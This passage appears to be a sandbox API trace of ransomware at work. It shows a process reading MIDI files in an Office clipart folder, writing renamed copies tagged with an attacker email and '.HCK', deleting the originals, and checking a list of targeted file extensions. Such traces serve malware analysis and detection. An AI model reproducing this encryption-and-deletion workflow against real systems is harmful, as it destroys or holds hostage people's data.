CloseHandle (hObject=0x4ac) returned 1 [0230.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0230.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.636] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.636] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.637] GetLastError () returned 0x0 [0230.637] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x13c2, lpOverlapped=0x0) returned 1 [0230.638] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0230.639] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.639] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.639] SetEndOfFile (hFile=0x548) returned 1 [0230.639] CloseHandle (hObject=0x548) returned 1 [0230.639] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.639] SetEndOfFile (hFile=0x4ac) returned 1 [0230.641] CloseHandle (hObject=0x4ac) returned 1 [0230.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0230.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.642] lstrlenW (lpString=".doc") returned 4 [0230.642] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.642] lstrlenW (lpString=".docx") returned 5 [0230.643] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0230.643] lstrlenW (lpString=".pdf") returned 4 [0230.643] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".xls") returned 4 [0230.643] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".xlsx") returned 5 [0230.643] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0230.643] lstrlenW (lpString=".ppt") returned 4 [0230.643] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.643] lstrlenW (lpString=".zip") returned 4 [0230.643] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".rar") returned 4 [0230.643] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".bz2") returned 4 [0230.643] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.643] lstrlenW (lpString=".7z") returned 3 [0230.643] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.643] lstrlenW (lpString=".dbf") returned 4 [0230.643] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.643] lstrlenW (lpString=".1cd") returned 4 [0230.643] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.643] lstrlenW (lpString=".jpg") returned 4 [0230.643] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.643] lstrlenW (lpString=".doc") returned 4 [0230.643] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.643] lstrlenW (lpString=".docx") returned 5 [0230.643] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0230.643] lstrlenW (lpString=".pdf") returned 4 [0230.643] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".xls") returned 4 [0230.643] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString=".xlsx") returned 5 [0230.643] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0230.643] lstrlenW (lpString=".ppt") returned 4 [0230.643] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.643] lstrlenW (lpString=".zip") returned 4 [0230.643] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.644] lstrlenW (lpString=".rar") returned 4 [0230.644] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.644] lstrlenW (lpString=".bz2") returned 4 [0230.644] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.644] lstrlenW (lpString=".7z") returned 3 [0230.644] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.644] lstrlenW (lpString=".dbf") returned 4 [0230.644] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.644] lstrlenW (lpString=".1cd") returned 4 [0230.644] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0230.644] lstrlenW (lpString=".jpg") returned 4 [0230.644] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.644] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.644] lstrlenW (lpString="SHOW_01.MID") returned 11 [0230.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.645] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6392) returned 1 [0230.645] CloseHandle (hObject=0x4ac) returned 1 [0230.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0230.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.645] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.645] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.646] GetLastError () returned 0x0 [0230.646] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x18f8, lpOverlapped=0x0) returned 1 [0230.647] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1900, lpOverlapped=0x0) returned 1 [0230.648] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.648] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xea, lpOverlapped=0x0) returned 1 [0230.648] SetEndOfFile (hFile=0x548) returned 1 [0230.648] CloseHandle (hObject=0x548) returned 1 [0230.648] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.648] SetEndOfFile (hFile=0x4ac) returned 1 [0230.650] CloseHandle (hObject=0x4ac) returned 1 [0230.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0230.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.651] lstrlenW (lpString=".doc") returned 4 [0230.651] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.651] lstrlenW (lpString=".docx") returned 5 [0230.651] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.651] lstrlenW (lpString=".pdf") returned 4 [0230.652] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".xls") returned 4 [0230.652] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".xlsx") returned 5 [0230.652] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.652] lstrlenW (lpString=".ppt") returned 4 [0230.652] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString=".zip") returned 4 [0230.652] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".rar") returned 4 [0230.652] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".bz2") returned 4 [0230.652] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.652] lstrlenW (lpString=".7z") returned 3 [0230.652] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString=".dbf") returned 4 [0230.652] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString=".1cd") returned 4 [0230.652] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString=".jpg") returned 4 [0230.652] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString=".doc") returned 4 [0230.652] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.652] lstrlenW (lpString=".docx") returned 5 [0230.652] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.652] lstrlenW (lpString=".pdf") returned 4 [0230.652] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".xls") returned 4 [0230.652] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".xlsx") returned 5 [0230.652] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.652] lstrlenW (lpString=".ppt") returned 4 [0230.652] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString=".zip") returned 4 [0230.652] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".rar") returned 4 [0230.652] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.652] lstrlenW (lpString=".bz2") returned 4 [0230.652] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.652] lstrlenW (lpString=".7z") returned 3 [0230.652] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.652] lstrlenW (lpString=".dbf") returned 4 [0230.652] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.653] lstrlenW (lpString=".1cd") returned 4 [0230.653] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0230.653] lstrlenW (lpString=".jpg") returned 4 [0230.653] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.653] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.653] lstrlenW (lpString="SPACE_01.MID") returned 12 [0230.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.654] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4219) returned 1 [0230.654] CloseHandle (hObject=0x4ac) returned 1 [0230.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0230.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.655] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.655] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.655] GetLastError () returned 0x0 [0230.655] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x107b, lpOverlapped=0x0) returned 1 [0230.657] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1080, lpOverlapped=0x0) returned 1 [0230.658] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.658] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.658] SetEndOfFile (hFile=0x548) returned 1 [0230.880] CloseHandle (hObject=0x548) returned 1 [0230.890] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.890] SetEndOfFile (hFile=0x4ac) returned 1 [0230.916] CloseHandle (hObject=0x4ac) returned 1 [0230.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0230.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.918] lstrlenW (lpString=".doc") returned 4 [0230.918] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.918] lstrlenW (lpString=".docx") returned 5 [0230.918] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.918] lstrlenW (lpString=".pdf") returned 4 [0230.918] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.918] lstrlenW (lpString=".xls") returned 4 [0230.918] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.918] lstrlenW (lpString=".xlsx") returned 5 [0230.918] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.918] lstrlenW (lpString=".ppt") returned 4 [0230.918] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.918] lstrlenW (lpString=".zip") returned 4 [0230.918] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.918] lstrlenW (lpString=".rar") returned 4 [0230.918] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.918] lstrlenW (lpString=".bz2") returned 4 [0230.919] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.919] lstrlenW (lpString=".7z") returned 3 [0230.919] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.919] lstrlenW (lpString=".dbf") returned 4 [0230.919] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.919] lstrlenW (lpString=".1cd") returned 4 [0230.919] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.919] lstrlenW (lpString=".jpg") returned 4 [0230.919] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.919] lstrlenW (lpString=".doc") returned 4 [0230.919] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.919] lstrlenW (lpString=".docx") returned 5 [0230.919] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.919] lstrlenW (lpString=".pdf") returned 4 [0230.919] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.919] lstrlenW (lpString=".xls") returned 4 [0230.919] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.919] lstrlenW (lpString=".xlsx") returned 5 [0230.919] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.919] lstrlenW (lpString=".ppt") returned 4 [0230.919] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.919] lstrlenW (lpString=".zip") returned 4 [0230.919] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.919] lstrlenW (lpString=".rar") returned 4 [0230.919] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.919] lstrlenW (lpString=".bz2") returned 4 [0230.919] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.920] lstrlenW (lpString=".7z") returned 3 [0230.920] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.920] lstrlenW (lpString=".dbf") returned 4 [0230.920] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.920] lstrlenW (lpString=".1cd") returned 4 [0230.920] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0230.920] lstrlenW (lpString=".jpg") returned 4 [0230.920] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.920] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.920] lstrlenW (lpString="URBAN_01.MID") returned 12 [0230.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.922] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=13358) returned 1 [0230.922] CloseHandle (hObject=0x4ac) returned 1 [0230.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0230.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 